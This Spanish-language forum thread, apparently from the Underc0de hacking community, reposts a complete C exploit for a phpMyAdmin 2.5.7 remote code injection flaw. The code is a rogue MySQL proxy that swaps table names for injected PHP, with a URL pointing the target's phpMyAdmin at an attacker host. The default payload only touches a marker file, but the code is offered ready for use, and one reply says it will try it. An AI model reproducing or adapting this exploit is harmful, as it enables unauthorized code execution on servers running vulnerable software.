send
Grupo de Telegram
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

phpMyAdmin 2.5.7 Remote code injection Exploit

  • 2 Respuestas
  • 2013 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5267
  • Actividad:
    46.67%
  • Reputación 26
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« en: Marzo 30, 2012, 12:48:40 pm »
Código: You are not allowed to view links. Register or Login
/*   
 * phpmy-explt.c 
 * written by Hackinside Group SW.
 *
 * June, 2006
 *
 * A phpMyAdmin-2.5.7 exploite program.
 * This is a kind of   mysql server wrapper  acts like a proxy except that it will sends a fake table name,
 * when client query "SHOW TABLES",  by replacing the real table name with a string contains exploite codes.
 *
 * Compile : gcc phpmy-explt.c -o phpmy-explt
 *
 * run with
 * ./phpmy-explt
 *
 * and go to your target and put
 *
 * http://target/phpMyAdmin-2.5.7/left.php?server=4&cfg[Servers][4][host]=
 * attacker.host.com&cfg[Servers][4][port]=8889&cfg[Servers][4][auth_type]=config&cfg[Servers]
 * [4][user]=user&cfg[Servers][4][password]=pass&cfg[Servers][4][connect_type]=tcp&&cfg[Servers]
 * [4][only_db]=databasename
 *
 * fill host,port,user,pass and databasename correctly
 *
 */


#include<stdio.h>
#include<sys/socket.h>
#include<netdb.h>

#define BIND_PORT 8889
#define MYSQL_PORT 3306
#define HOSTNAME "localhost"
#define DATABASE "phpmy"


#define BUFFER_LEN 1024

/* This is php code we want to inject into phpMyAdmin
   Do NOT use  single quote (') in the string, use double quote (") instead
*/
char *phpcodes = "exec(\"touch /tmp/your-phpmyadmin-is-vulnerable\");";


  /* This is examples codes I captured when mysql server
     reply to client's request of query "SHOW TABLES" query.
     It shows  database  name 'phpmy' and contain one tablename  'mytable'
     Our aim is to manipulate the data received from mysql server
     by replacing 'mytable' with our exploide codes.
     
     0x1 ,0x0 ,0x0 ,0x1 ,0x1 ,0x1b,0x0 ,0x0 ,0x2 ,0x0 ,
     0xf ,'T' ,'a' ,'b' ,'l' ,'e' ,'s' ,'_' ,'i' ,'n' ,
     '_' ,'p' ,'h' ,'p' ,'m' ,'y' ,0x3 ,0x40,0x0 ,0x0 ,
     0x1 ,-2  ,0x3 ,0x1 ,0x0 ,0x1f,0x1 ,0x0 ,0x0 ,0x3 ,
     -2  ,8  ,0x0 ,0x0 ,0x4 ,7   ,'m' ,'y' ,'t' ,'a' ,
     'b' ,'l' ,'e' ,0x1 ,0   ,0   ,0x5 ,-2
  */


int build_exploite_code(char* dbname,char* phpcodes,char** expcode)
{
   char my1[21] = {0x1 ,0x0 ,0x0 ,0x1 ,0x1 ,0x1b,0x0 ,0x0 ,0x2 ,0x0 ,
         0xf ,'T' ,'a' ,'b' ,'l' ,'e' ,'s' ,'_' ,'i' ,'n' ,
        '_'};
   /* part of dbname     ('p' ,'h' ,'p' ,'m' ,'y') */
   char my2[15] = {0x3 ,0x40,0x0 ,0x0 ,0x1 ,-2  ,0x3 ,0x1 ,0x0 ,0x1f,
           0x1 ,0x0 ,0x0 ,0x3 ,-2}; 
   /* part of int phpcodes string length +1   (8) */
   char my3[3]  = {0x0 ,0x0 ,0x4};
   /* part of int phpcodes string length      (7) */
   /* part of tablename    ('m' ,'y' ,'t' ,'a' ,'b' ,'l' ,'e' ) */
   char my4[5]  = {0x1 ,0   ,0   ,0x5 ,-2};

   int len,i;

   len = 21 + strlen(dbname) + 15 + 1 + 3 + 1 +  strlen(phpcodes) + 5 + 5;
   *expcode = (char*) malloc(sizeof(char) * len);
   
   i = 0;
   bcopy(&my1[0],*expcode + i,21);
   i += 21;
   bcopy(dbname, *expcode + i,strlen(dbname));
   i += strlen(dbname);
   bcopy(&my2[0],*expcode + i,15);
   i += 15;
   (*expcode)[i] = 5 + strlen(phpcodes) + 1;
   i ++;
   bcopy(&my3[0],*expcode + i,3);
   i += 3; 
   (*expcode)[i++] = 5 + strlen(phpcodes) ;
   /* this is our exploite codes*/
   (*expcode)[i++] = '\\';
   (*expcode)[i++] = '\'';
   (*expcode)[i++] = ';';
   bcopy(phpcodes,*expcode + i,strlen(phpcodes));
   i += strlen(phpcodes);
   (*expcode)[i++] = '/';
   (*expcode)[i++] = '*';
   bcopy(&my4[0],*expcode + i,5);
   
   return len;
}

/* connect to mysql server*/

int connect_mysql()
{
    int s2;
    struct sockaddr_in ina;
    struct hostent *h;
   
    h = gethostbyname(HOSTNAME);
    /* set internet address */
    bcopy(h->h_addr,(void *)&ina.sin_addr,h->h_length);
    ina.sin_family = AF_INET;
    ina.sin_port = htons(MYSQL_PORT);
    //ina.sin_zero[0]='\0';
    if((s2=socket(AF_INET,SOCK_STREAM,0)) < 0)
  perror("Socket: ");
   
    if(connect(s2,(struct sockaddr *)&ina,sizeof(ina)) < 0 )
                   perror("connect()");
    return s2;
}

/* listener */
int listener()
{
    int s1;
    int opt;
    struct sockaddr_in ina;

    /* set internet address */
    ina.sin_family = AF_INET;
    ina.sin_port = htons(BIND_PORT);
    ina.sin_addr.s_addr = INADDR_ANY;

    if((s1=socket(AF_INET,SOCK_STREAM,0)) < 0)
  perror("Socket: ");
   
    opt = 1;
    setsockopt(s1,SOL_SOCKET, SO_REUSEADDR , (char *)&opt, sizeof(opt) );
       
    if(bind(s1,(struct sockaddr *)&ina,sizeof(ina))==-1)
perror("Bind: ");

    if(listen(s1, 10) == -1)
  perror("Listen");

   return s1;
}


int main(int argc,char* argv[])
{
struct sockaddr_in ina1;
int ina1_l;
int s_daemon,s_mysql;
size_t byte_read,byte_written;
char *buf;
int sc,event,n_select;
fd_set rfds;
        struct timeval tv;
int exptlen,i;
char *expt;
char *dbname=DATABASE;

buf = (char*) malloc(sizeof(char) * (BUFFER_LEN));
tv.tv_sec  = 15;
tv.tv_usec = 0;

/* we listen to port */
 s_daemon = listener();
   
exptlen = build_exploite_code(dbname,phpcodes,&expt);

for(;;)
{
   fprintf(stderr,"waiting for connection\n");
   
   if( -1 == (sc = accept(s_daemon,(struct sockaddr *) &ina1,&ina1_l)) )
  perror("accept()");
   /* if we get here, we have a new connection */
   fprintf(stderr,"got client connection\n");
mysql:
   /* connect to mysql */
   s_mysql = connect_mysql();
       
   for(;;)
    {
   FD_ZERO(&rfds);
        FD_SET(sc,&rfds);
     FD_SET(s_mysql,&rfds);                               

        n_select = (sc > s_mysql)? sc : s_mysql;

    event = select(n_select+1,&rfds,NULL,NULL,NULL);
    if(-1  == event)
    perror("select()");
        else
{
    if(FD_ISSET(s_mysql,&rfds))
     {
byte_read = read(s_mysql,buf,BUFFER_LEN);
    /* check for closing client connection*/
    if(byte_read == 0)
          {
   shutdown(s_mysql,SHUT_RDWR);
   close(s_mysql);
   goto mysql;
        }

 /* check data received from mysql server.
  * if  buf[11] contain 'T', data received from   mysq server is table list
  *
  * NOW we replace the table with our exploite codes and send them to client
  */
        if( 'T' == buf[11])
{
           for(i=0;i<exptlen;i++)
              buf[i] = expt[i];
           byte_read = exptlen;
        }
       
        if(write(sc, buf, byte_read) < 0)
           break;
     }
           
             if(FD_ISSET(sc,&rfds))
     {
            byte_read = read(sc,buf,BUFFER_LEN);
         /* check for closing client connection*/
         if(byte_read == 0)
         {
    close(sc);   
    break;
         }

       if(write(s_mysql,buf,byte_read) < 0)
       break;     
     }   
#if defined(DEBUG)     
     fprintf(stderr,"data:\n");
     for(i=0;i<byte_read;i++)
     fprintf(stderr," %c(%x) ",buf[i],buf[i]);
#endif   
        }   

    }
}
free(buf);
free(expt);
return 0;
}


Desconectado RandomSoft

  • *
  • Underc0der
  • Mensajes: 124
  • Actividad:
    0%
  • Reputación 0
  • using Underc0de;
    • Ver Perfil
    • Marketing Online | Diseño Web | Hosting Profesional - GlobalPer
    • Email
  • Skype: randomsofthack
« Respuesta #1 en: Abril 05, 2012, 02:40:41 pm »
Amigo el Lenguaje de programación es C++?
El Lenguaje es la Ciudad para cuya Edificación cada Ser Humano ha Aportado una Piedra

Desconectado andrewtwo

  • *
  • Underc0der
  • Mensajes: 44
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #2 en: Agosto 30, 2012, 05:24:15 am »
a probar que tal  ;D

 

¿Te gustó el post? COMPARTILO!



vBulletin 5.0.0 Beta 11 - 5.0.0 Beta 28 - SQL Injection

Iniciado por morodog

Respuestas: 1
Vistas: 1585
Último mensaje Junio 09, 2013, 12:05:31 pm
por ANTRAX
SQL Injection - Joomla módulo "com_fireboard"

Iniciado por M5f3r0

Respuestas: 0
Vistas: 1433
Último mensaje Agosto 16, 2013, 01:43:18 am
por M5f3r0
[Curso] SQL Injection desde 0 - Union based y Blind Boolean Based.

Iniciado por M5f3r0

Respuestas: 8
Vistas: 7585
Último mensaje Abril 21, 2017, 04:36:34 am
por M5f3r0
Mysql injection avanzada: "doble query/error based"

Iniciado por q3rv0

Respuestas: 2
Vistas: 2093
Último mensaje Agosto 30, 2012, 04:26:01 am
por andrewtwo
Exploit para Apache Struts (ejecución remota de comandos) [Tomcat]|CVE2017-5638

Iniciado por Eschiclers

Respuestas: 9
Vistas: 2471
Último mensaje Marzo 23, 2017, 03:57:38 pm
por zoro248